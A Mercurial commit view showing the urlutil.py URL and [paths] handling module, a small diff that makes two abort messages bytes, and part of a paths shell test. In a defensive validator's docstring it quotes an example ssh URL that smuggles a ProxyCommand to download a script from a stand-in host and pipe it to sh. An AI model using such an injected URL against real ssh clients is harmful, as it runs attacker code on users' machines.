##// END OF EJS Templates
urlutil: use bytes for Abort messages...
Matt Harbison -
r47690:93c224dc default
parent child Browse files
Show More
@@ -1,712 +1,712 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 448 def get_push_paths(repo, ui, dests):
449 449 """yields all the `path` selected as push destination by `dests`"""
450 450 if not dests:
451 451 if b'default-push' in ui.paths:
452 452 yield ui.paths[b'default-push']
453 453 elif b'default' in ui.paths:
454 454 yield ui.paths[b'default']
455 455 else:
456 456 raise error.ConfigError(
457 457 _(b'default repository not configured!'),
458 458 hint=_(b"see 'hg help config.paths'"),
459 459 )
460 460 else:
461 461 for dest in dests:
462 462 yield ui.getpath(dest)
463 463
464 464
465 465 def get_pull_paths(repo, ui, sources, default_branches=()):
466 466 """yields all the `(path, branch)` selected as pull source by `sources`"""
467 467 if not sources:
468 468 sources = [b'default']
469 469 for source in sources:
470 470 url = ui.expandpath(source)
471 471 yield parseurl(url, default_branches)
472 472
473 473
474 474 def parseurl(path, branches=None):
475 475 '''parse url#branch, returning (url, (branch, branches))'''
476 476 u = url(path)
477 477 branch = None
478 478 if u.fragment:
479 479 branch = u.fragment
480 480 u.fragment = None
481 481 return bytes(u), (branch, branches or [])
482 482
483 483
484 484 class paths(dict):
485 485 """Represents a collection of paths and their configs.
486 486
487 487 Data is initially derived from ui instances and the config files they have
488 488 loaded.
489 489 """
490 490
491 491 def __init__(self, ui):
492 492 dict.__init__(self)
493 493
494 494 for name, loc in ui.configitems(b'paths', ignoresub=True):
495 495 # No location is the same as not existing.
496 496 if not loc:
497 497 continue
498 498 loc, sub_opts = ui.configsuboptions(b'paths', name)
499 499 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
500 500
501 501 for name, p in sorted(self.items()):
502 502 p.chain_path(ui, self)
503 503
504 504 def getpath(self, ui, name, default=None):
505 505 """Return a ``path`` from a string, falling back to default.
506 506
507 507 ``name`` can be a named path or locations. Locations are filesystem
508 508 paths or URIs.
509 509
510 510 Returns None if ``name`` is not a registered path, a URI, or a local
511 511 path to a repo.
512 512 """
513 513 # Only fall back to default if no path was requested.
514 514 if name is None:
515 515 if not default:
516 516 default = ()
517 517 elif not isinstance(default, (tuple, list)):
518 518 default = (default,)
519 519 for k in default:
520 520 try:
521 521 return self[k]
522 522 except KeyError:
523 523 continue
524 524 return None
525 525
526 526 # Most likely empty string.
527 527 # This may need to raise in the future.
528 528 if not name:
529 529 return None
530 530
531 531 try:
532 532 return self[name]
533 533 except KeyError:
534 534 # Try to resolve as a local path or URI.
535 535 try:
536 536 # we pass the ui instance are warning might need to be issued
537 537 return path(ui, None, rawloc=name)
538 538 except ValueError:
539 539 raise error.RepoError(_(b'repository %s does not exist') % name)
540 540
541 541
542 542 _pathsuboptions = {}
543 543
544 544
545 545 def pathsuboption(option, attr):
546 546 """Decorator used to declare a path sub-option.
547 547
548 548 Arguments are the sub-option name and the attribute it should set on
549 549 ``path`` instances.
550 550
551 551 The decorated function will receive as arguments a ``ui`` instance,
552 552 ``path`` instance, and the string value of this option from the config.
553 553 The function should return the value that will be set on the ``path``
554 554 instance.
555 555
556 556 This decorator can be used to perform additional verification of
557 557 sub-options and to change the type of sub-options.
558 558 """
559 559
560 560 def register(func):
561 561 _pathsuboptions[option] = (attr, func)
562 562 return func
563 563
564 564 return register
565 565
566 566
567 567 @pathsuboption(b'pushurl', b'pushloc')
568 568 def pushurlpathoption(ui, path, value):
569 569 u = url(value)
570 570 # Actually require a URL.
571 571 if not u.scheme:
572 572 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
573 573 return None
574 574
575 575 # Don't support the #foo syntax in the push URL to declare branch to
576 576 # push.
577 577 if u.fragment:
578 578 ui.warn(
579 579 _(
580 580 b'("#fragment" in paths.%s:pushurl not supported; '
581 581 b'ignoring)\n'
582 582 )
583 583 % path.name
584 584 )
585 585 u.fragment = None
586 586
587 587 return bytes(u)
588 588
589 589
590 590 @pathsuboption(b'pushrev', b'pushrev')
591 591 def pushrevpathoption(ui, path, value):
592 592 return value
593 593
594 594
595 595 class path(object):
596 596 """Represents an individual path and its configuration."""
597 597
598 598 def __init__(self, ui, name, rawloc=None, suboptions=None):
599 599 """Construct a path from its config options.
600 600
601 601 ``ui`` is the ``ui`` instance the path is coming from.
602 602 ``name`` is the symbolic name of the path.
603 603 ``rawloc`` is the raw location, as defined in the config.
604 604 ``pushloc`` is the raw locations pushes should be made to.
605 605
606 606 If ``name`` is not defined, we require that the location be a) a local
607 607 filesystem path with a .hg directory or b) a URL. If not,
608 608 ``ValueError`` is raised.
609 609 """
610 610 if not rawloc:
611 611 raise ValueError(b'rawloc must be defined')
612 612
613 613 # Locations may define branches via syntax <base>#<branch>.
614 614 u = url(rawloc)
615 615 branch = None
616 616 if u.fragment:
617 617 branch = u.fragment
618 618 u.fragment = None
619 619
620 620 self.url = u
621 621 # the url from the config/command line before dealing with `path://`
622 622 self.raw_url = u.copy()
623 623 self.branch = branch
624 624
625 625 self.name = name
626 626 self.rawloc = rawloc
627 627 self.loc = b'%s' % u
628 628
629 629 self._validate_path()
630 630
631 631 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
632 632 self._own_sub_opts = {}
633 633 if suboptions is not None:
634 634 self._own_sub_opts = suboptions.copy()
635 635 sub_opts.update(suboptions)
636 636 self._all_sub_opts = sub_opts.copy()
637 637
638 638 self._apply_suboptions(ui, sub_opts)
639 639
640 640 def chain_path(self, ui, paths):
641 641 if self.url.scheme == b'path':
642 642 assert self.url.path is None
643 643 try:
644 644 subpath = paths[self.url.host]
645 645 except KeyError:
646 m = _('cannot use `%s`, "%s" is not a known path')
646 m = _(b'cannot use `%s`, "%s" is not a known path')
647 647 m %= (self.rawloc, self.url.host)
648 648 raise error.Abort(m)
649 649 if subpath.raw_url.scheme == b'path':
650 m = _('cannot use `%s`, "%s" is also define as a `path://`')
650 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
651 651 m %= (self.rawloc, self.url.host)
652 652 raise error.Abort(m)
653 653 self.url = subpath.url
654 654 self.rawloc = subpath.rawloc
655 655 self.loc = subpath.loc
656 656 if self.branch is None:
657 657 self.branch = subpath.branch
658 658 else:
659 659 base = self.rawloc.rsplit(b'#', 1)[0]
660 660 self.rawloc = b'%s#%s' % (base, self.branch)
661 661 suboptions = subpath._all_sub_opts.copy()
662 662 suboptions.update(self._own_sub_opts)
663 663 self._apply_suboptions(ui, suboptions)
664 664
665 665 def _validate_path(self):
666 666 # When given a raw location but not a symbolic name, validate the
667 667 # location is valid.
668 668 if (
669 669 not self.name
670 670 and not self.url.scheme
671 671 and not self._isvalidlocalpath(self.loc)
672 672 ):
673 673 raise ValueError(
674 674 b'location is not a URL or path to a local '
675 675 b'repo: %s' % self.rawloc
676 676 )
677 677
678 678 def _apply_suboptions(self, ui, sub_options):
679 679 # Now process the sub-options. If a sub-option is registered, its
680 680 # attribute will always be present. The value will be None if there
681 681 # was no valid sub-option.
682 682 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
683 683 if suboption not in sub_options:
684 684 setattr(self, attr, None)
685 685 continue
686 686
687 687 value = func(ui, self, sub_options[suboption])
688 688 setattr(self, attr, value)
689 689
690 690 def _isvalidlocalpath(self, path):
691 691 """Returns True if the given path is a potentially valid repository.
692 692 This is its own function so that extensions can change the definition of
693 693 'valid' in this case (like when pulling from a git repo into a hg
694 694 one)."""
695 695 try:
696 696 return os.path.isdir(os.path.join(path, b'.hg'))
697 697 # Python 2 may return TypeError. Python 3, ValueError.
698 698 except (TypeError, ValueError):
699 699 return False
700 700
701 701 @property
702 702 def suboptions(self):
703 703 """Return sub-options and their values for this path.
704 704
705 705 This is intended to be used for presentation purposes.
706 706 """
707 707 d = {}
708 708 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
709 709 value = getattr(self, attr)
710 710 if value is not None:
711 711 d[subopt] = value
712 712 return d
@@ -1,387 +1,387 b''
1 1 $ hg init a
2 2 $ hg clone a b
3 3 updating to branch default
4 4 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
5 5 $ cd a
6 6
7 7 with no paths:
8 8
9 9 $ hg paths
10 10 $ hg paths unknown
11 11 not found!
12 12 [1]
13 13 $ hg paths -Tjson
14 14 [
15 15 ]
16 16
17 17 with paths:
18 18
19 19 $ echo '[paths]' >> .hg/hgrc
20 20 $ echo 'dupe = ../b#tip' >> .hg/hgrc
21 21 $ echo 'expand = $SOMETHING/bar' >> .hg/hgrc
22 22 $ hg in dupe
23 23 comparing with $TESTTMP/b
24 24 no changes found
25 25 [1]
26 26 $ cd ..
27 27 $ hg -R a in dupe
28 28 comparing with $TESTTMP/b
29 29 no changes found
30 30 [1]
31 31 $ cd a
32 32 $ hg paths
33 33 dupe = $TESTTMP/b#tip
34 34 expand = $TESTTMP/a/$SOMETHING/bar
35 35 $ SOMETHING=foo hg paths
36 36 dupe = $TESTTMP/b#tip
37 37 expand = $TESTTMP/a/foo/bar
38 38 #if msys
39 39 $ SOMETHING=//foo hg paths
40 40 dupe = $TESTTMP/b#tip
41 41 expand = /foo/bar
42 42 #else
43 43 $ SOMETHING=/foo hg paths
44 44 dupe = $TESTTMP/b#tip
45 45 expand = /foo/bar
46 46 #endif
47 47 $ hg paths -q
48 48 dupe
49 49 expand
50 50 $ hg paths dupe
51 51 $TESTTMP/b#tip
52 52 $ hg paths -q dupe
53 53 $ hg paths unknown
54 54 not found!
55 55 [1]
56 56 $ hg paths -q unknown
57 57 [1]
58 58
59 59 formatter output with paths:
60 60
61 61 $ echo 'dupe:pushurl = https://example.com/dupe' >> .hg/hgrc
62 62 $ hg paths -Tjson | sed 's|\\\\|\\|g'
63 63 [
64 64 {
65 65 "name": "dupe",
66 66 "pushurl": "https://example.com/dupe",
67 67 "url": "$TESTTMP/b#tip"
68 68 },
69 69 {
70 70 "name": "expand",
71 71 "url": "$TESTTMP/a/$SOMETHING/bar"
72 72 }
73 73 ]
74 74 $ hg paths -Tjson dupe | sed 's|\\\\|\\|g'
75 75 [
76 76 {
77 77 "name": "dupe",
78 78 "pushurl": "https://example.com/dupe",
79 79 "url": "$TESTTMP/b#tip"
80 80 }
81 81 ]
82 82 $ hg paths -Tjson -q unknown
83 83 [
84 84 ]
85 85 [1]
86 86
87 87 log template:
88 88
89 89 (behaves as a {name: path-string} dict by default)
90 90
91 91 $ hg log -rnull -T '{peerurls}\n'
92 92 dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar
93 93 $ hg log -rnull -T '{join(peerurls, "\n")}\n'
94 94 dupe=$TESTTMP/b#tip
95 95 expand=$TESTTMP/a/$SOMETHING/bar
96 96 $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
97 97 dupe: $TESTTMP/b#tip
98 98 expand: $TESTTMP/a/$SOMETHING/bar
99 99 $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
100 100 $TESTTMP/b#tip
101 101
102 102 (sub options can be populated by map/dot operation)
103 103
104 104 $ hg log -rnull \
105 105 > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
106 106 url: $TESTTMP/b#tip
107 107 pushurl: https://example.com/dupe
108 108 $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
109 109 https://example.com/dupe
110 110
111 111 (in JSON, it's a dict of urls)
112 112
113 113 $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
114 114 {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
115 115
116 116 password should be masked in plain output, but not in machine-readable/template
117 117 output:
118 118
119 119 $ echo 'insecure = http://foo:insecure@example.com/' >> .hg/hgrc
120 120 $ hg paths insecure
121 121 http://foo:***@example.com/
122 122 $ hg paths -Tjson insecure
123 123 [
124 124 {
125 125 "name": "insecure",
126 126 "url": "http://foo:insecure@example.com/"
127 127 }
128 128 ]
129 129 $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
130 130 http://foo:insecure@example.com/
131 131
132 132 zeroconf wraps ui.configitems(), which shouldn't crash at least:
133 133
134 134 $ hg paths --config extensions.zeroconf=
135 135 dupe = $TESTTMP/b#tip
136 136 dupe:pushurl = https://example.com/dupe
137 137 expand = $TESTTMP/a/$SOMETHING/bar
138 138 insecure = http://foo:***@example.com/
139 139
140 140 $ cd ..
141 141
142 142 sub-options for an undeclared path are ignored
143 143
144 144 $ hg init suboptions
145 145 $ cd suboptions
146 146
147 147 $ cat > .hg/hgrc << EOF
148 148 > [paths]
149 149 > path0 = https://example.com/path0
150 150 > path1:pushurl = https://example.com/path1
151 151 > EOF
152 152 $ hg paths
153 153 path0 = https://example.com/path0
154 154
155 155 unknown sub-options aren't displayed
156 156
157 157 $ cat > .hg/hgrc << EOF
158 158 > [paths]
159 159 > path0 = https://example.com/path0
160 160 > path0:foo = https://example.com/path1
161 161 > EOF
162 162
163 163 $ hg paths
164 164 path0 = https://example.com/path0
165 165
166 166 :pushurl must be a URL
167 167
168 168 $ cat > .hg/hgrc << EOF
169 169 > [paths]
170 170 > default = /path/to/nothing
171 171 > default:pushurl = /not/a/url
172 172 > EOF
173 173
174 174 $ hg paths
175 175 (paths.default:pushurl not a URL; ignoring)
176 176 default = /path/to/nothing
177 177
178 178 #fragment is not allowed in :pushurl
179 179
180 180 $ cat > .hg/hgrc << EOF
181 181 > [paths]
182 182 > default = https://example.com/repo
183 183 > invalid = https://example.com/repo
184 184 > invalid:pushurl = https://example.com/repo#branch
185 185 > EOF
186 186
187 187 $ hg paths
188 188 ("#fragment" in paths.invalid:pushurl not supported; ignoring)
189 189 default = https://example.com/repo
190 190 invalid = https://example.com/repo
191 191 invalid:pushurl = https://example.com/repo
192 192
193 193 $ cd ..
194 194
195 195 'file:' disables [paths] entries for clone destination
196 196
197 197 $ cat >> $HGRCPATH <<EOF
198 198 > [paths]
199 199 > gpath1 = http://hg.example.com
200 200 > EOF
201 201
202 202 $ hg clone a gpath1
203 203 abort: cannot create new http repository
204 204 [255]
205 205
206 206 $ hg clone a file:gpath1
207 207 updating to branch default
208 208 0 files updated, 0 files merged, 0 files removed, 0 files unresolved
209 209 $ cd gpath1
210 210 $ hg -q id
211 211 000000000000
212 212
213 213 $ cd ..
214 214
215 215 Testing path referencing other paths
216 216 ====================================
217 217
218 218 basic setup
219 219 -----------
220 220
221 221 $ ls -1
222 222 a
223 223 b
224 224 gpath1
225 225 suboptions
226 226 $ hg init chained_path
227 227 $ cd chained_path
228 228 $ cat << EOF > .hg/hgrc
229 229 > [paths]
230 230 > default=../a
231 231 > other_default=path://default
232 232 > path_with_branch=../branchy#foo
233 233 > other_branch=path://path_with_branch
234 234 > other_branched=path://path_with_branch#default
235 235 > pushdest=../push-dest
236 236 > pushdest:pushrev=default
237 237 > pushdest2=path://pushdest
238 238 > pushdest-overwrite=path://pushdest
239 239 > pushdest-overwrite:pushrev=foo
240 240 > EOF
241 241
242 242 $ hg init ../branchy
243 243 $ hg init ../push-dest
244 244 $ hg debugbuilddag -R ../branchy '.:base+3<base@foo+5'
245 245 $ hg log -G -T '{branch}\n' -R ../branchy
246 246 o foo
247 247 |
248 248 o foo
249 249 |
250 250 o foo
251 251 |
252 252 o foo
253 253 |
254 254 o foo
255 255 |
256 256 | o default
257 257 | |
258 258 | o default
259 259 | |
260 260 | o default
261 261 |/
262 262 o default
263 263
264 264
265 265 $ hg paths
266 266 default = $TESTTMP/a
267 267 gpath1 = http://hg.example.com/
268 268 other_branch = $TESTTMP/branchy#foo
269 269 other_branched = $TESTTMP/branchy#default
270 270 other_default = $TESTTMP/a
271 271 path_with_branch = $TESTTMP/branchy#foo
272 272 pushdest = $TESTTMP/push-dest
273 273 pushdest:pushrev = default
274 274 pushdest-overwrite = $TESTTMP/push-dest
275 275 pushdest-overwrite:pushrev = foo
276 276 pushdest2 = $TESTTMP/push-dest
277 277 pushdest2:pushrev = default
278 278
279 279 test basic chaining
280 280 -------------------
281 281
282 282 $ hg path other_default
283 283 $TESTTMP/a
284 284 $ hg pull default
285 285 pulling from $TESTTMP/a
286 286 no changes found
